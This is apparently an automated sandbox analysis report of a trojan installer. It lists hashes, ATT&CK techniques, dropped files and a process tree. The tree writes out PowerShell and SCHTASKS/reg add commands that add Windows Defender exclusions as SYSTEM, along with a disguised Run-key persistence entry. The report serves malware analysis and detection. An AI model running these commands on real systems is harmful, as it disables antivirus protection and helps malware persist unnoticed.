af9252551de728af82071ebc62ceb819f20413b1943c069618385e68c0d4a404

Analysis

max time kernel
150s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 05:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.10.exe
Size 34.6MB
Sample261023-ftwwaacc33
SHA256 af9252551de728af82071ebc62ceb819f20413b1943c069618385e68c0d4a404
MD5 c1846a70037944acb65d314b5cb7c7c3
SHA1 7e5ab3c0f8e1fbb00161fcff88ce0780ae44f342
SHA512 ebe6822d4b5d8c02bc37336d8875dfd00264b4d577e751f3c00b42708b4c1fda893e4c2cfb29ae4b0ffa34ef665257b0cf78067ddfee4a2d6c844472487c0078
SSDEEP 98304:g6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAW:bukQmH0HmKxofM3nl6UfMYrLgAW
TLSH
T124876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\X7xPlh = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4408	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4472	eljN4A.exe
4980	eljN4A.exe

Loads dropped DLL 2 IoCs

pid	Process
4472	eljN4A.exe
4980	eljN4A.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\X7xPlh\\eljN4A.exe\""	eljN4A.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5416	cmd.exe
5840	cmd.exe
5744	cmd.exe
1776	cmd.exe
3020	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	eljN4A.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1312	cmd.exe
2376	cmd.exe
972	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.10.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	eljN4A.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	eljN4A.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.10.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4968	schtasks.exe
3628	schtasks.exe
3400	schtasks.exe
5256	schtasks.exe
5272	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
2444	install.2.0.10.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe
4472	eljN4A.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeIncreaseQuotaPrivilege	4408	powershell.exe
Token: SeSecurityPrivilege	4408	powershell.exe
Token: SeTakeOwnershipPrivilege	4408	powershell.exe
Token: SeLoadDriverPrivilege	4408	powershell.exe
Token: SeSystemProfilePrivilege	4408	powershell.exe
Token: SeSystemtimePrivilege	4408	powershell.exe
Token: SeProfSingleProcessPrivilege	4408	powershell.exe
Token: SeIncBasePriorityPrivilege	4408	powershell.exe
Token: SeCreatePagefilePrivilege	4408	powershell.exe
Token: SeBackupPrivilege	4408	powershell.exe
Token: SeRestorePrivilege	4408	powershell.exe
Token: SeShutdownPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeSystemEnvironmentPrivilege	4408	powershell.exe
Token: SeRemoteShutdownPrivilege	4408	powershell.exe
Token: SeUndockPrivilege	4408	powershell.exe
Token: SeManageVolumePrivilege	4408	powershell.exe
Token: 33	4408	powershell.exe
Token: 34	4408	powershell.exe
Token: 35	4408	powershell.exe
Token: 36	4408	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4472 wrote to memory of 4408	4472	eljN4A.exe	92
PID 4472 wrote to memory of 3020	4472	eljN4A.exe	94
PID 3020 wrote to memory of 3400	3020	cmd.exe	97
PID 4472 wrote to memory of 5416	4472	eljN4A.exe	98
PID 3020 wrote to memory of 3476	3020	cmd.exe	101
PID 5416 wrote to memory of 5256	5416	cmd.exe	103
PID 3020 wrote to memory of 4852	3020	cmd.exe	104
PID 4472 wrote to memory of 5840	4472	eljN4A.exe	106
PID 5416 wrote to memory of 2392	5416	cmd.exe	108
PID 4472 wrote to memory of 5744	4472	eljN4A.exe	110
PID 5416 wrote to memory of 4512	5416	cmd.exe	112
PID 5840 wrote to memory of 5272	5840	cmd.exe	113
PID 5744 wrote to memory of 4968	5744	cmd.exe	114
PID 5840 wrote to memory of 4272	5840	cmd.exe	115
PID 5744 wrote to memory of 2144	5744	cmd.exe	117
PID 5840 wrote to memory of 1228	5840	cmd.exe	118
PID 5744 wrote to memory of 2612	5744	cmd.exe	119
PID 4472 wrote to memory of 1776	4472	eljN4A.exe	120
PID 1776 wrote to memory of 3628	1776	cmd.exe	122
PID 1776 wrote to memory of 1612	1776	cmd.exe	123
PID 1776 wrote to memory of 4892	1776	cmd.exe	125
PID 972 wrote to memory of 3688	972	cmd.exe	129
PID 2376 wrote to memory of 5284	2376	cmd.exe	130
PID 1312 wrote to memory of 4620	1312	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2444

C:\Users\Public\X7xPlh\eljN4A.exe
"C:\Users\Public\X7xPlh\eljN4A.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\X7xPlh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\X7xPlh\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3628
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4892

C:\Users\Public\X7xPlh\eljN4A.exe
"C:\Users\Public\X7xPlh\eljN4A.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4980

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\X7xPlh" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\X7xPlh" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4620

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4256

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5284

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:972
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 ec4c41340bcbfbfe074818790e7b0c2196e1c2ec2c72e7356001ddd02367cfec
MD5 813ad96e443c78ee76242bd1eed5d7e5
SHA1 4255593897a5427270f4a16c65a48adb9c1e128b
SHA512 d311b36b78f21c70d2b7c8ed2c1d1d36c0d7850771e56e14a674af6f3922ebb4cbce5055a401b9509c8b565bde86b8b94bc2bc063d4c11a6c71cf77cf3206ff6
TLSH
T1CF3174BB1FAD7A829F3A8E9415CEB13528E0E2C02DC800D92119C0D86F483B22E1E90D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 0f5adcc7a0732914907bacaa9e8428418be0aa7e99e90391a78425434263e193
MD5 a213bfbbaa4b0e386ba687581ee95fad
SHA1 9a3a6135c09c2e395c6b9b96b9b3338444f81d90
SHA512 04aa0cc9c4923b80be38e22bc4d8ccb3120e41af8797af6de0e8b17c8458efb1d35fce030c78214618df236fc59bdd04f5af44d2a9f18ac8121ddca52f505a1f
TLSH
T12A31F8974F3A00039F0C9F7432D4D13BECF0A5648CF40886252EC2AA5665BB75FCA411
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 c4cbd6af18f7a4f711f0f66969072ca51d4dcc97c7deeb60d7091c2a5126fdcf
MD5 56b0528239dc6617ab5d360808e04dd1
SHA1 8e56bfd8ae78f0e69b5ab0310187ad32147216b7
SHA512 b32492f66819278f02dc26bcbb0c12fd2fa8a6692ab58175bd3665c46e02be3b87066532070af893b8043319a0690c57e8cc2db62f7dfc23566c01cfda272f20
TLSH
T15FF05C1C0A7C423FF133DE3987CA3656597EF716240345B406ED4B4CA556D423E52A7D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 75e9bfef2c1f143ba1fd873edf638e9ee8ee7ca7658a5d0ce7339e734e200668
MD5 293249794551f6dd6739b25b14fed9b0
SHA1 618e5b3bed7c873b918b28850651317f5dda3d89
SHA512 75b8da7d6911e0cc56cec6b5c72085458ec7a6b2139562d6f7101bfd2fb2415becbfa241ba5cb4b24fa87dc9cc393af287fe5217ca47de12c8a520ffc944cde3
TLSH
T127F05C3949D9003BF33FE6B84EC6B5B15B6AE1231016256A0BA903441A56C005C1376A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uwbaqlk3.wau.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uwbaqlk3.wau.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\X7xPlh\UxEnhance64.dll
Size 3.1MB
SHA256 3e49564d287035bba05c27664f5f7db9d3ff3f6a09f1834ef0ad37a589ca6f46
MD5 8770a7e5d8dd95f3cd1bf43d91dfc990
SHA1 3ab317a2b7bb62863d4a50bf911453a3b1308e26
SHA512 bb565593a8db58eaa382f0e490245f67781ddb0e9c1d76918ac1ce612237cfe7b20831135ba0aa3a31a5e828786d836bb9a26c95a2133e9a1c722e92bb091c1e
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+0:P9m29xx3Tiqt06ox6+z2rNNrKo0
TLSH
T1C3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\X7xPlh\adoresd.dat
Size 4.8MB
SHA256 e82ebbf4b526f3ec07d06880286e5e0eedd6d6a895aa359cc32e9318a7341e86
MD5 703204e0c0ea84e2264b7f6acfd53a9c
SHA1 19b8b2d1d2cedc22637388de54e386f6d3832f89
SHA512 a189deb13af706fa24be8c89b4a638aaaf262bbe22e4ca9ccb42cf18199b4271fb15bb65041848506d0e274ac266d0ba95b353c34f8ec5b36359852b25b8298c
SSDEEP 98304:5Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:5Wj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1E73633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eljN4A.exe

Path C:\Users\Public\X7xPlh\eljN4A.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\X7xPlh\msadox.tb
Size 8KB
SHA256 0b88522ea10c12660877c11756d7a265f5bb7867c64ef04970427c186944154c
MD5 f5f22572992424860a8c46c088371312
SHA1 e76780c2af26f1b7cc182e8cc1a7346ba4111f79
SHA512 ffb5385535c8f7946f531f29ebfed967aaaa15aa9466e463f2664068b2d0b632f2eef8fff7ccb0326b0d537cc87a08c11d4addd5f402e1fec188192fda922020
SSDEEP 192:WqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:WsZqZOXQ3uqvR2Kfzp
TLSH
T115029E05D7A20CC7D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2444-0-0x0000000000420000-0x000000000042E000-memory.dmp

Download

memory/2444-524-0x0000000000420000-0x000000000042E000-memory.dmp

Download

memory/2444-525-0x00007FFB4FE00000-0x00007FFB4FE12000-memory.dmp

Download

memory/2444-504-0x00007FFB4FE00000-0x00007FFB4FE12000-memory.dmp

Download

memory/2444-2-0x0000000002010000-0x000000000201C000-memory.dmp

Download

memory/2444-1-0x0000000000420000-0x000000000042E000-memory.dmp

Download

memory/4408-607-0x000001BB78C80000-0x000001BB78C8A000-memory.dmp

Download

memory/4408-600-0x000001BB78C10000-0x000001BB78C32000-memory.dmp

Download

memory/4408-605-0x000001BB78C60000-0x000001BB78C7E000-memory.dmp

Download

memory/4408-606-0x000001BB78DA0000-0x000001BB78E52000-memory.dmp

Download

memory/4472-560-0x000001FE71070000-0x000001FE710FA000-memory.dmp

Download

memory/4472-543-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-562-0x000001FE71070000-0x000001FE710FA000-memory.dmp

Download

memory/4472-550-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-558-0x000001FE70F90000-0x000001FE70FDE000-memory.dmp

Download

memory/4472-556-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-561-0x000001FE71070000-0x000001FE710FA000-memory.dmp

Download

memory/4472-564-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-567-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-566-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-546-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-545-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-544-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-559-0x000001FE71070000-0x000001FE710FA000-memory.dmp

Download

memory/4472-530-0x00007FFB605D0000-0x00007FFB605D2000-memory.dmp

Download

memory/4472-531-0x00007FFB3D9F0000-0x00007FFB3DF0E000-memory.dmp

Download

memory/4472-536-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4472-538-0x00007FFB605E0000-0x00007FFB605E2000-memory.dmp

Download

memory/4472-539-0x000001FE70340000-0x000001FE70C17000-memory.dmp

Download

memory/4980-590-0x00000282A7540000-0x00000282A7E17000-memory.dmp

Download

memory/4980-589-0x00000282A7540000-0x00000282A7E17000-memory.dmp

Download

memory/4980-588-0x00000282A7540000-0x00000282A7E17000-memory.dmp

Download

memory/4980-587-0x00000282A7540000-0x00000282A7E17000-memory.dmp

Download

memory/4980-591-0x00007FFB605D0000-0x00007FFB605D2000-memory.dmp

Download

memory/4980-583-0x00000282A7540000-0x00000282A7E17000-memory.dmp

Download

memory/4980-582-0x00007FFB605E0000-0x00007FFB605E2000-memory.dmp

Download

memory/4980-580-0x00000282A7540000-0x00000282A7E17000-memory.dmp

Download

memory/4980-577-0x00007FFB3D9F0000-0x00007FFB3DF0E000-memory.dmp

Download